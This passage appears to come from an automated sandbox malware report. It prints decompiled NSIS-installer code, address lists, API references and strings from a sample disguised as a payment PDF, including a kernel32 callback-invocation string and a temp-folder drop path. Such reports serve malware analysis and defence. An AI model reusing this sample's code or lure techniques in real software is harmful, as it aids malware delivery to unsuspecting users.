						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					} else {
						_a8 = 0x40f;
						goto L12;
					}
				} else {
					_t165 = GetDlgItem(_t166, 0x3fb);
					if(E00405AC6(_t146) != 0 && E00405AF2(_t146) == 0) {
						E00405A59(_t146);
					}
					 *0x423ef8 = _t166;
					SetWindowTextA(_t165, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push("true");
					E00404145(_t166);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404145(_t166);
					E0040417A(_t165);
					_t138 = E004064CA("true");
					if(_t138 == 0) {
						L53:
						return E004041AC(_a8, _a12, _a16);
					} else {
						 *_t138(_t165, "true");
						goto L8;
					}
				}
			}

0x004045d7
0x004045dd
0x004045e3
0x004045f0
0x004045fe
0x00404601
0x00404609
0x0040460f
0x0040460f
0x0040461b
0x0040461e
0x0040468c
0x00404693
0x0040476a
0x00404771
0x00404780
0x00404780
0x00404784
0x0040478e
0x0040479b
0x0040479d
0x0040479d
0x004047ab
0x004047b2
0x004047b9
0x004047bc
0x004047f3
0x004047f5
0x004047fb
0x00404800
0x00404804
0x00404806
0x00404806
0x00404822
0x00000000
0x00404824
0x00404827
0x00404835
0x0040483b
0x0040483c
0x0040483f
0x00404842
0x00000000
0x00404842
0x004047be
0x004047c0
0x004047c4
0x00000000
0x00000000
0x00000000
0x00000000
0x004047c6
0x004047c6
0x004047d3
0x004047d8
0x00000000
0x00000000
0x004047dc
0x004047de
0x004047de
0x004047e6
0x004047e8
0x004047eb
0x004047ee
0x004047f1
0x00000000
0x00000000
0x00000000
0x00000000
0x004047f1
0x0040484e
0x00404858
0x0040485b
0x0040485e
0x00404865
0x00404865
0x00404867
0x00404867
0x0040486c
0x0040486e
0x00404876
0x0040487d
0x0040487f
0x0040488a
0x0040488a
0x0040487f
0x00404891
0x0040489a
0x004048a4
0x004048ac
0x004048c7
0x004048ae
0x004048b7
0x004048b7
0x004048ac
0x004048cc
0x004048d1
0x004048d6
0x004048df
0x004048df
0x004048e8
0x004048ea
0x004048ea
0x004048f6
0x004048fe
0x00404900
0x00404906
0x00404908
0x00404908
0x00404906
0x0040490d
0x00000000
0x0040490d
0x004047bc
0x00404773
0x0040477a
0x00000000
0x00000000
0x00000000
0x0040477a
0x00404699
0x004046a2
0x004046bc
0x004046c1
0x004046c7
0x004046cb
0x004046d2
0x004046de
0x004046e1
0x004046e4
0x004046eb
0x004046f3
0x004046f6
0x004046fa
0x00404701
0x00404709
0x00404763
0x0040470b
0x0040470c
0x00404713
0x0040471d
0x00404725
0x00404732
0x00404746
0x0040474a
0x0040474a
0x00404746
0x0040474f
0x0040475c
0x0040475c
0x00404709
0x00000000
0x004046c1
0x004046af
0x00000000
0x004046b5
0x004046b5
0x00000000
0x004046b5
0x00404620
0x0040462d
0x00404636
0x00404643
0x00404643
0x0040464a
0x00404650
0x00404659
0x0040465c
0x0040465f
0x00404667
0x0040466a
0x0040466d
0x00404673
0x0040467a
0x00404681
0x00404913
0x00404925
0x00404687
0x0040468a
0x00000000
0x0040468a
0x00404681

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404626
SetWindowTextA.USER32(00000000,?), ref: 00404650
SHBrowseForFolderA.SHELL32(?,00420100,?), ref: 00404701
CoTaskMemFree.OLE32(00000000), ref: 0040470C
lstrcmpiA.KERNEL32(Call,respektlst Setup: Installing), ref: 0040473E
lstrcatA.KERNEL32(?,Call), ref: 0040474A
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040475C

Part of subcall function 004057C1: GetDlgItemTextA.USER32(?,?,00000400,00404793), ref: 004057D4

Part of subcall function 0040639C: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 004063F4
Part of subcall function 0040639C: CharNextA.USER32(?,?,?,00000000,?,?,?,0000000B), ref: 00406401
Part of subcall function 0040639C: CharNextA.USER32(?,"C:\Users\user\Desktop\PAYNOW_2023_08_002783pdf.exe",764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00406406
Part of subcall function 0040639C: CharPrevA.USER32(?,?,764B3410,C:\Users\user\AppData\Local\Temp\,00000000,004032ED,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403524,?,?,?,0000000B), ref: 00406416

GetDiskFreeSpaceA.KERNEL32(0041FCF8,?,?,0000040F,?,0041FCF8,0041FCF8,?,?,0041FCF8,?,?,000003FB,?), ref: 0040481A
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404835

Part of subcall function 0040498E: lstrlenA.KERNEL32(respektlst Setup: Installing,respektlst Setup: Installing,?,%u.%u%s%s,?,00000000,00000000,?,000000DC,00000000,004048A9,000000DF,00000000,00000400,?), ref: 00404A2C
Part of subcall function 0040498E: wsprintfA.USER32 ref: 00404A34
Part of subcall function 0040498E: SetDlgItemTextA.USER32(?,respektlst Setup: Installing), ref: 00404A47

Strings

dj, xrefs: 004045DD
Call, xrefs: 00404738, 0040473D, 00404748
respektlst Setup: Installing, xrefs: 004046D4, 00404737
A, xrefs: 004046FA
C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr, xrefs: 00404727
kernel32::EnumResourceTypesW(i0,ir1,i0), xrefs: 004045F0

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp\valgmuligheder\devirnr$Call$dj$kernel32::EnumResourceTypesW(i0,ir1,i0)$respektlst Setup: Installing
API String ID: 2624150263-1220476652
Opcode ID: a8fa72c237660fa2aca2e88606f783d8368c6943bde7c97c031dda4383c862be
Instruction ID: 23887ea06715a98946f15fa8ab5ee03a9679ba0c83a6df36e4e3dfda0b9dc378
Opcode Fuzzy Hash: a8fa72c237660fa2aca2e88606f783d8368c6943bde7c97c031dda4383c862be
Instruction Fuzzy Hash: C9A183B1900209ABDB11EFA5CD85AAFB7B8EF85314F10843BF601B72D1D77C89418B69

Uniqueness

Uniqueness Score: -1.00%

Function 6ECB1A98 Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E6ECB1A98() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				CHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				CHAR* _t207;
				signed int _t210;
				void* _t212;
				void* _t214;
				CHAR* _t216;
				void* _t224;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t228;
				signed short _t230;
				struct HINSTANCE__* _t233;
				struct HINSTANCE__* _t235;
				void* _t236;
				char* _t237;
				void* _t248;
				signed char _t249;
				signed int _t250;
				struct HINSTANCE__* _t256;
				void* _t257;
				signed int _t259;
				intOrPtr _t260;
				char* _t263;
				signed int _t268;
				signed int _t271;
				signed int _t273;
				void* _t276;
				void* _t280;
				struct HINSTANCE__* _t282;
				intOrPtr _t285;
				void _t286;
				signed int _t287;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				void* _t304;
				signed int _t308;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t319;
				intOrPtr* _t320;
				CHAR* _t321;
				CHAR* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t282 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t329 = 0;
				_v52 = 0;
				_v44 = 0;
				_t207 = E6ECB1215();
				_v24 = _t207;
				_v28 = _t207;
				_v48 = E6ECB1215();
				_t320 = E6ECB123B();
				_v56 = _t320;
				_v12 = _t320;
				while(1) {
					_t210 = _v32;
					_v60 = _t210;
					if(_t210 != _t282 && _t329 == _t282) {
						break;
					}
					_t319 =  *_t320;
					_t285 = _t319;
					_t212 = _t285 - _t282;
					if(_t212 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t214 = _v60 - _t282;
						if(_t214 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t329 - _t282;
							if(_t329 == _t282) {
								_t329 = GlobalAlloc(0x40, 0x14a4);
								 *(_t329 + 0x810) = _t282;
								 *(_t329 + 0x814) = _t282;
							}
							_t286 = _v36;
							_t216 = _t329 + 8;
							_t48 = _t329 + 0x408; // 0x408
							_t321 = _t48;
							 *_t329 = _t286;
							 *_t216 =  *_t216 & 0x00000000;
							 *(_t329 + 0x808) = _t282;
							 *_t321 =  *_t321 & 0x00000000;
							_t287 = _t286 - _t282;
							__eflags = _t287;
							 *(_t329 + 0x80c) = _t282;
							 *(_t329 + 4) = _t282;
							if(_t287 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t327 = 0;
								GlobalFree(_t329);
								_t329 = E6ECB12FE(_v24);
								__eflags = _t329 - _t282;
								if(_t329 == _t282) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t248 =  *(_t329 + 0x14a0);
									__eflags = _t248 - _t282;
									if(_t248 == _t282) {
										break;
									}
									_t327 = _t329;
									_t329 = _t248;
									__eflags = _t329 - _t282;
									if(_t329 != _t282) {
										continue;
									}
									break;
								}
								__eflags = _t327 - _t282;
								if(_t327 != _t282) {
									 *(_t327 + 0x14a0) = _t282;
								}
								_t249 =  *(_t329 + 0x810);
								__eflags = _t249 & 0x00000008;
								if((_t249 & 0x00000008) == 0) {
									_t250 = _t249 | 0x00000002;
									__eflags = _t250;
									 *(_t329 + 0x810) = _t250;
								} else {
									_t329 = E6ECB1534(_t329);
									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t299 = _t287 - 1;
								__eflags = _t299;
								if(_t299 == 0) {
									L31:
									lstrcpyA(_t216, _v48);
									L32:
									lstrcpyA(_t321, _v24);
									goto L42;
								}
								_t300 = _t299 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									goto L32;
								}
								__eflags = _t300 != 1;
								if(_t300 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t214 == 1) {
								_t256 = _v16;
								if(_v40 == _t282) {
									_t256 = _t256 - 1;
								}
								 *(_t329 + 0x814) = _t256;
							}
							L42:
							_v12 = _v12 + 1;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t320 = _v12;
								continue;
							}
							break;
						}
					}
					_t257 = _t212 - 0x23;
					if(_t257 == 0) {
						__eflags = _t320 - _v56;
						if(_t320 <= _v56) {
							L17:
							__eflags = _v44 - _t282;
							if(_v44 != _t282) {
								L43:
								_t259 = _v32 - _t282;
								__eflags = _t259;
								if(_t259 == 0) {
									_t260 = _t319;
									while(1) {
										__eflags = _t260 - 0x22;
										if(_t260 != 0x22) {
											break;
										}
										_t320 = _t320 + 1;
										__eflags = _v44 - _t282;
										_v12 = _t320;
										if(_v44 == _t282) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[1]);
											 *_v28 =  *_t320;
											L58:
											_t328 = _t320 + 1;
											__eflags = _t328;
											_v12 = _t328;
											goto L59;
										}
										_t260 =  *_t320;
										_v44 = _t282;
									}
									__eflags = _t260 - 0x2a;
									if(_t260 == 0x2a) {
										_v36 = 2;
										L57:
										_t320 = _v12;
										_v28 = _v24;
										_t282 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t260 - 0x2d;
									if(_t260 == 0x2d) {
										L151:
										_t303 =  *_t320;
										__eflags = _t303 - 0x2d;
										if(_t303 != 0x2d) {
											L154:
											_t263 = _t320 + 1;
											__eflags =  *_t263 - 0x3a;
											if( *_t263 != 0x3a) {
												goto L162;
											}
											__eflags = _t303 - 0x2d;
											if(_t303 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t263;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 =  *_v48 & 0x00000000;
											} else {
												 *_v28 =  *_v28 & 0x00000000;
												lstrcpyA(_v48, _v24);
											}
											goto L57;
										}
										_t263 = _t320 + 1;
										__eflags =  *_t263 - 0x3e;
										if( *_t263 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t260 - 0x3a;
									if(_t260 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t268 = _t259 - 1;
								__eflags = _t268;
								if(_t268 == 0) {
									L80:
									_t304 = _t285 + 0xffffffde;
									__eflags = _t304 - 0x55;
									if(_t304 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t304 + 0x6ecb2259) & 0x000000ff) * 4 +  &M6ECB21CD))) {
										case 0:
											__eax = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												L131:
												__eflags =  *(__edi + 1) - __dl;
												if( *(__edi + 1) != __dl) {
													L136:
													 *__eax =  *__eax & 0x00000000;
													__eax = E6ECB1224(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __cl;
												if(__cl == 0) {
													goto L136;
												}
												__eflags = __cl - __dl;
												if(__cl == __dl) {
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__cl =  *__edi;
												 *__eax =  *__edi;
												__eax = __eax + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 1;
											__ebx = E6ECB1215();
											 &_v12 = E6ECB1A36( &_v12);
											__eax = E6ECB1429(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push("true");
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push(0x18);
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push("true");
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E6ECB1A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eflags = 0;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t270 =  *(_t329 + 0x814);
											__eflags = _t270 - _v16;
											if(_t270 > _v16) {
												_v16 = _t270;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t270 - (_v36 == 3);
											if(_t270 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push("true");
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push("true");
											goto L123;
										case 0x1e:
											L113:
											_push("true");
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E6ECB1A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push("true");
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push("true");
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x6ecb305c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x818) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x828) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E6ECB1A36( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
												_t136 = _v16 + 0x41; // 0x41
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x830)) = 0;
												 *((intOrPtr*)(__edi + 0x82c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x82c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x830; // 0x830
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t271 = _t268 - 1;
								__eflags = _t271;
								if(_t271 == 0) {
									_v16 = _t282;
									goto L80;
								}
								__eflags = _t271 != 1;
								if(_t271 != 1) {
									goto L162;
								}
								__eflags = _t285 - 0x6e;
								if(__eflags > 0) {
									_t308 = _t285 - 0x72;
									__eflags = _t308;
									if(_t308 == 0) {
										_push("true");
										L74:
										_pop(_t273);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t329 + 0x810;
											 *_t96 =  *(_t329 + 0x810) &  !_t273;
											__eflags =  *_t96;
										} else {
											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
										}
										_v8 = 1;
										goto L57;
									}
									_t311 = _t308 - 1;
									__eflags = _t311;
									if(_t311 == 0) {
										_push(0x10);
										goto L74;
									}
									__eflags = _t311 != 0;
									if(_t311 != 0) {
										goto L57;
									}
									_push(0x40);
									goto L74;
								}
								if(__eflags == 0) {
									_push("true");
									goto L74;
								}
								_t314 = _t285 - 0x21;
								__eflags = _t314;
								if(_t314 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t315 = _t314 - 0x11;
								__eflags = _t315;
								if(_t315 == 0) {
									_t273 = 0x100;
									goto L75;
								}
								_t316 = _t315 - 0x31;
								__eflags = _t316;
								if(_t316 == 0) {
									_t273 = 1;
									goto L75;
								}
								__eflags = _t316 != 0;
								if(_t316 != 0) {
									goto L57;
								}
								_push(0x20);
								goto L74;
							} else {
								_v32 = _t282;
								_v36 = _t282;
								goto L20;
							}
						}
						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
						if( *((char*)(_t320 - 1)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t282;
						if(_v32 == _t282) {
							goto L43;
						}
						goto L17;
					}
					_t276 = _t257 - 5;
					if(_t276 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t282;
							_v20 = _t282;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t282;
							goto L20;
						}
					}
					_t280 = _t276 - 1;
					if(_t280 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t282;
							_v20 = _t282;
							goto L20;
						}
					}
					if(_t280 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
					L182:
					return _t329;
				} else {
					_t224 =  *_t329 - 1;
					if(_t224 == 0) {
						_t323 = _t329 + 8;
						__eflags =  *_t323;
						if( *_t323 != 0) {
							_t225 = GetModuleHandleA(_t323);
							__eflags = _t225 - _t282;
							 *(_t329 + 0x808) = _t225;
							if(_t225 != _t282) {
								L171:
								_t192 = _t329 + 0x408; // 0x408
								_t324 = _t192;
								_t226 = E6ECB15C2( *(_t329 + 0x808), _t324);
								__eflags = _t226 - _t282;
								 *(_t329 + 0x80c) = _t226;
								if(_t226 == _t282) {
									__eflags =  *_t324 - 0x23;
									if( *_t324 == 0x23) {
										_t195 = _t329 + 0x409; // 0x409
										_t230 = E6ECB12FE(_t195);
										__eflags = _t230 - _t282;
										if(_t230 != _t282) {
											__eflags = _t230 & 0xffff0000;
											if((_t230 & 0xffff0000) == 0) {
												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t282;
								if(_v52 != _t282) {
									L178:
									_t324[lstrlenA(_t324)] = 0x41;
									_t228 = E6ECB15C2( *(_t329 + 0x808), _t324);
									__eflags = _t228 - _t282;
									if(_t228 != _t282) {
										L166:
										 *(_t329 + 0x80c) = _t228;
										goto L182;
									}
									__eflags =  *(_t329 + 0x80c) - _t282;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t205 = _t329 + 4;
									 *_t205 =  *(_t329 + 4) | 0xffffffff;
									__eflags =  *_t205;
									goto L182;
								} else {
									__eflags =  *(_t329 + 0x80c) - _t282;
									if( *(_t329 + 0x80c) != _t282) {
										goto L182;
									}
									goto L178;
								}
							}
							_t233 = LoadLibraryA(_t323);
							__eflags = _t233 - _t282;
							 *(_t329 + 0x808) = _t233;
							if(_t233 == _t282) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t329 + 0x408; // 0x408
						_t235 = E6ECB12FE(_t188);
						 *(_t329 + 0x80c) = _t235;
						__eflags = _t235 - _t282;
						goto L180;
					}
					_t236 = _t224 - 1;
					if(_t236 == 0) {
						_t185 = _t329 + 0x408; // 0x408
						_t237 = _t185;
						__eflags =  *_t237;
						if( *_t237 == 0) {
							goto L182;
						}
						_t228 = E6ECB12FE(_t237);
						L165:
						goto L166;
					}
					if(_t236 != 1) {
						goto L182;
					}
					_t283 = _t329 + 8;
					_t325 = E6ECB12FE(_t329 + 8);
					 *(_t329 + 0x808) = _t325;
					if(_t325 == 0) {
						goto L181;
					}
					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x850)) = E6ECB1224(_t283);
					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x848)) = 1;
					 *((intOrPtr*)(_t329 + 0x838)) = 1;
					_t90 = _t329 + 0x408; // 0x408
					_t228 =  *(_t325->i + E6ECB12FE(_t90) * 4);
					goto L165;
				}
			}

0x6ecb1aa0
0x6ecb1aa3
0x6ecb1aa6
0x6ecb1aa9
0x6ecb1aac
0x6ecb1aaf
0x6ecb1ab2
0x6ecb1ab4
0x6ecb1ab7
0x6ecb1aba
0x6ecb1abf
0x6ecb1ac2
0x6ecb1aca
0x6ecb1ad2
0x6ecb1ad4
0x6ecb1ad7
0x6ecb1adf
0x6ecb1adf
0x6ecb1ae4
0x6ecb1ae7
0x00000000
0x00000000
0x6ecb1af1
0x6ecb1af3
0x6ecb1af8
0x6ecb1afa
0x6ecb1b8b
0x6ecb1b8b
0x6ecb1b8b
0x6ecb1b8f
0x6ecb1b92
0x6ecb1b94
0x6ecb1bb6
0x6ecb1bb9
0x6ecb1bbb
0x6ecb1bca
0x6ecb1bcc
0x6ecb1bd2
0x6ecb1bd2
0x6ecb1bd8
0x6ecb1bdb
0x6ecb1bde
0x6ecb1bde
0x6ecb1be4
0x6ecb1be6
0x6ecb1be9
0x6ecb1bef
0x6ecb1bf2
0x6ecb1bf2
0x6ecb1bf4
0x6ecb1bfa
0x6ecb1bfd
0x6ecb1c21
0x6ecb1c24
0x00000000
0x00000000
0x6ecb1c27
0x6ecb1c29
0x6ecb1c37
0x6ecb1c3a
0x6ecb1c3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6ecb1c3e
0x6ecb1c3e
0x6ecb1c3e
0x6ecb1c44
0x6ecb1c46
0x00000000
0x00000000
0x6ecb1c48
0x6ecb1c4a
0x6ecb1c4c
0x6ecb1c4e
0x00000000
0x00000000
0x00000000
0x6ecb1c4e
0x6ecb1c50
0x6ecb1c52
0x6ecb1c54
0x6ecb1c54
0x6ecb1c5a
0x6ecb1c60
0x6ecb1c62
0x6ecb1c76
0x6ecb1c76
0x6ecb1c78
0x6ecb1c64
0x6ecb1c6a
0x6ecb1c6d
0x6ecb1c6d
0x00000000
0x6ecb1bff
0x6ecb1bff
0x6ecb1bff
0x6ecb1c00
0x6ecb1c08
0x6ecb1c0c
0x6ecb1c12
0x6ecb1c16
0x00000000
0x6ecb1c16
0x6ecb1c02
0x6ecb1c02
0x6ecb1c03
0x00000000
0x00000000
0x6ecb1c05
0x6ecb1c06
0x00000000
0x00000000
0x00000000
0x6ecb1c06
0x6ecb1b96
0x6ecb1b97
0x6ecb1ba0
0x6ecb1ba3
0x6ecb1bb0
0x6ecb1bb0
0x6ecb1ba5
0x6ecb1ba5
0x6ecb1c7e
0x6ecb1c81
0x6ecb1c84
0x6ecb1cf6
0x6ecb1cfa
0x6ecb1adc
0x00000000
0x6ecb1adc
0x00000000
0x6ecb1cfa
0x6ecb1b94
0x6ecb1b00
0x6ecb1b03
0x6ecb1b66
0x6ecb1b69
0x6ecb1b7a
0x6ecb1b7a
0x6ecb1b7d
0x6ecb1c89
0x6ecb1c8c
0x6ecb1c8c
0x6ecb1c8e
0x6ecb2033
0x6ecb2045
0x6ecb2045
0x6ecb2047
0x00000000
0x00000000
0x6ecb2037
0x6ecb2038
0x6ecb203b
0x6ecb203e
0x6ecb20ba
0x6ecb20c1
0x6ecb20c6
0x6ecb20c9
0x6ecb1cf2
0x6ecb1cf2
0x6ecb1cf2
0x6ecb1cf3
0x00000000
0x6ecb1cf3
0x6ecb2040
0x6ecb2042
0x6ecb2042
0x6ecb2049
0x6ecb204b
0x6ecb20ae
0x6ecb1ce7
0x6ecb1cea
0x6ecb1ced
0x6ecb1cf0
0x6ecb1cf0
0x00000000
0x6ecb1cf0
0x6ecb204d
0x6ecb204f
0x6ecb2055
0x6ecb2055
0x6ecb2057
0x6ecb205a
0x6ecb206d
0x6ecb206d
0x6ecb2070
0x6ecb2073
0x00000000
0x00000000
0x6ecb2075
0x6ecb2078
0x00000000
0x00000000
0x6ecb207a
0x6ecb2081
0x6ecb2081
0x6ecb2087
0x6ecb208a
0x6ecb20a6
0x6ecb208c
0x6ecb2095
0x6ecb2098
